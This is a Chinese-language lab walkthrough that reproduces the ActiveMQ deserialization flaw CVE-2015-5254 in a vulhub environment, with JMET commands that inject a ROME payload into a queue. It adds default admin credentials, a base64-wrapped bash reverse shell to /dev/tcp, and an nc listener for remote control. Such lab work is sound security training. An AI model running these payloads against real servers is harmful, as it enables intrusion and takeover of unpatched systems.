ActiveMQ 反序列化漏洞(CVE-2015-5254)
ActiveMQ 反序列化漏洞(CVE-2015-5254)
漏洞类型: activeMQ 反序列化漏洞
复现环境: vulhub靶场(activemq/CVE-2015-5254)
使用工具: JMET
漏洞原理: 参考 《理论科普 - 认识反序列化漏洞》
该漏洞源于序列化的Java Message Service(JMS)ObjectMessage对象存在反序列化漏洞,同时程序没有对代理中序列化的类做限制,导致攻击者可以构造恶意的序列化的类进行RCE攻击。
影响范围: Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞。
第一步:启动漏洞环境
进入vulhub靶场的active/CVE-2015-5254目录,执行下述命令启动环境
sudo docker-compose up -d
环境启动后,在61616监听用户传来的消息,维持一个消息队列;8161是Web管理页面端口。
第二步:使用JMET工具进行漏洞测试
1.下载JMET工具,并在同级目录下创建external文件夹。
2.使用JMET工具构造payload进行漏洞测试
将下列语句中的your-ip改成自己服务器的IP地址后执行下列命令
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME your-ip 61616

其中ROME为JMET中自带的反序列化漏洞攻击载荷,命令执行后会给activeMQ添加一个名字叫event的队列,管理员点击查看这个消息队列时攻击就会触发——在服务器的/tmp目录下创建一个success文件。
第三步:触发攻击
管理员打开消息队列界面(your-ip改成自己服务器的IP地址)
http://your-ip:8161/admin/browse.jsp?JMSDestination=event
管理员帐号:admin 管理员密码:admin

点击查看新创建的消息时攻击即被触发,查看/tmp目录下已经成功创建success文件,证明存在可被利用的反序列化漏洞。

第四步:创建反弹shell
将创建success文件的命令改成反弹shell的语句即可实现远程控制。
直接使用bash反弹shell无法成功,需要对其进行base64编码
#bash反弹shell,your-ip和your-port改成自己攻击机的信息
bash -i &> /dev/tcp/your-ip/your-port 0>&1
修改完your-ip和your-port的信息后,对上面的语句进行base64编码,然后替换掉下面的“YmF****MQ==”部分。
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmF****MQ==}|{base64,-d}|{bash,-i}" -Yp ROME your-ip 61616
在自己的攻击机上使用nc执行监听,此处your-port与反弹shell中使用的端口保持一致。
nc -l -p your-port
管理员触发攻击后nc即可连接到服务器进行远程控制。
